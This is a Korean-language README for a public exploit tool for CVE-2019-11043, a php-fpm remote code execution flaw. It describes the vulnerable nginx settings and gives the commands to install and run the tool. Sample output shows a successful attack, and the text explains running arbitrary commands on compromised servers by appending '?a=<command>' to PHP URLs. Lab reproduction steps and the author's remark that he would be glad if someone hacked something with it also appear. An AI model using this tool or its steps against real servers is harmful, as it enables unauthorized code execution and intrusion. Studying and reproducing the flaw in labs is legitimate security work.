
CVE-2019-11043 익스플로잇
이것은 php-fpm의 버그(CVE-2019-11043)를 위한 익스플로잇입니다. 특정 nginx + php-fpm 구성에서는 외부에서 이 버그를 트리거할 수 있습니다. 즉, 취약한 구성을 사용하는 경우 웹 사용자가 코드 실행을 할 수 있습니다 (아래 참조).
우리는 라이트업을 작성하기엔 너무 게을렀지만, Orange Tsai가 자신의 블로그에 완벽한 분석을 게시했습니다. 그에게 찬사를 보냅니다.
또한 ZeroNights 2019에서 발표한 제 슬라이드를 확인할 수 있습니다.
웹서버가 nginx + php-fpm을 실행하고 nginx에 다음과 같은 구성이 있다면
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
그리고 스크립트 존재 확인(try_files 같은)이 없다면, 이 스플로잇으로 아마 해킹할 수 있을 것입니다.
location ~ [^/]\.php(/|$)가 php-fpm으로 전달되어야 합니다 (정규식은 더 엄격할 수도 있습니다, #1 참조).fastcgi_param PATH_INFO $fastcgi_path_info; 문을 통해 PATH_INFO 변수 할당이 있어야 합니다. 또한 SCRIPT_FILENAME이 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;으로 설정되어 있어야 합니다 ($document_root 대신 고정 경로일 수도 있습니다). 처음에는 이것들이 항상 fastcgi_params 파일에 존재한다고 생각했지만, 사실이 아닙니다.PATH_INFO를 빈 값으로 설정할 수 있는 방법이 있어야 합니다. 이 익스플로잇은 fastcgi_split_path_info 지시문이 존재하고 ^로 시작해 $로 끝나는 정규식을 포함한다고 가정하므로, 개행 문자로 정규식을 깨뜨리려고 시도합니다.PATH_INFO가 REQUEST_URI 다음에 설정된다고 가정합니다.try_files $uri =404 또는 if (-f $uri) 같은 파일 존재 확인이 없어야 합니다. Nginx가 FastCGI로 전달하기 전에 존재하지 않는 스크립트에 대한 요청을 거부하면, 우리의 요청은 php-fpm에 도달하지 못합니다. 이것을 추가하는 것이 가장 쉬운 패치 방법이기도 합니다.오래 전 php-fpm은 스크립트 확장자를 제한하지 않아서 /avatar.png/some-fake-shit.php 같은 것이 avatar.png를 PHP 스크립트로 실행할 수 있었습니다. 이 문제는 2010년경에 수정되었습니다.
현재의 것은 파일 업로드가 필요하지 않고, 최신 버전(수정이 적용되기 전까지)에서 동작하며, 가장 중요한 것은 익스플로잇이 훨씬 멋지다는 것입니다.
다음 명령으로 설치합니다.
go get github.com/neex/phuip-fpizdam
이상한 컴파일 오류가 발생하면 go >= 1.13을 사용하고 있는지 확인하세요. phuip-fpizdam [url]로 프로그램을 실행합니다 ($PATH 안에 $GOPATH/bin이 있다고 가정합니다. 그렇지 않으면 바이너리의 전체 경로를 지정하세요). 정상적인 출력은 다음과 같습니다:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
이후 모든 PHP 스크립트에 ?a=<your command>를 추가하여 명령을 실행할 수 있습니다 (여러 번 재시도가 필요할 수 있습니다).
또는 docker 이미지를 사용하여 익스플로잇을 실행할 수 있습니다:
docker run --rm ypereirareis/cve-2019-11043 [url]
문제를 재현하거나 Docker를 통해 로컬에서 익스플로잇을 실험하려면 다음을 수행하세요:
reproducer 디렉토리로 이동합니다.docker build -t reproduce-cve-2019-11043 .를 사용하여 docker 이미지를 생성합니다. 내부적으로 php 저장소를 클론하고 소스에서 빌드하기 때문에 오래 걸립니다. 하지만 익스플로잇을 디버깅하려면 이 방법이 더 쉬울 것입니다. 빌드되는 리비전은 수정 직전의 것입니다.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043를 사용하여 docker를 실행합니다.phuip-fpizdam http://127.0.0.1:8080/script.php를 사용하여 익스플로잇을 실행합니다.?a=를 추가하여 명령을 실행할 수 있습니다: http://127.0.0.1:8080/script.php?a=id. 일부 php-fpm 워커만 감염되므로 여러 번 시도하세요.문제를 재현하거나 LXD를 통해 로컬에서 익스플로잇을 실험하려면 다음을 수행하세요:
vulnerable과 attacker라는 두 개의 시스템 컨테이너를 생성합니다. 두 컨테이너 모두 ubuntu:18.04 컨테이너 이미지를 사용할 수 있습니다.vulnerable 컨테이너에 nginx와 php-fpm을 설치합니다. 서버 블록을 이 구성처럼 설정합니다. 빈 파일 /var/www/html/index.php를 생성합니다.attacker 컨테이너에 Go 언어를 설치하고(sudo snap install go --classic), 이 저장소를 클론한 다음 저장소 디렉토리에서 go build를 실행합니다../phuip-fpizdam http://vulnerable.lxd/index.php. 모든 php-fpm 워커를 감염시키기 위해 여러 번 시도하세요.더 자세한 지침은 LXD 시스템 컨테이너로 CVE-2019-11043 (php-fpm 보안 취약점) 테스트를 참조하세요.
php-fpm의 버퍼 언더플로(buffer underflow)는 PHP 버전 5에도 존재합니다. 그러나 이 익스플로잇은 FastCGI 변수 저장에 사용되는 최적화인 _fcgi_data_seg를 이용합니다. 이 최적화는 php 7에만 존재하므로, 이 특정 익스플로잇은 php 7에서만 동작합니다. php 5에서 동작하는 다른 공격 기법이 있을 수도 있습니다.
원래 변칙(anomaly)은 Real World CTF 기간 중 d90pwn이 발견했습니다. 근본 원인과 php.ini 옵션 설정 방법은 저(Emil Lerner)가 찾았습니다. 최종 php.ini 옵션 세트는 beched가 찾았습니다.
이 익스플로잇은 MIT 라이선스 조건에 따라 배포됩니다.
이 익스플로잇으로 피해를 입히는 행위는 삼가 주세요. 하지만 정말로 이걸로 무언가를 해킹한다면, 저는 기쁠 것입니다.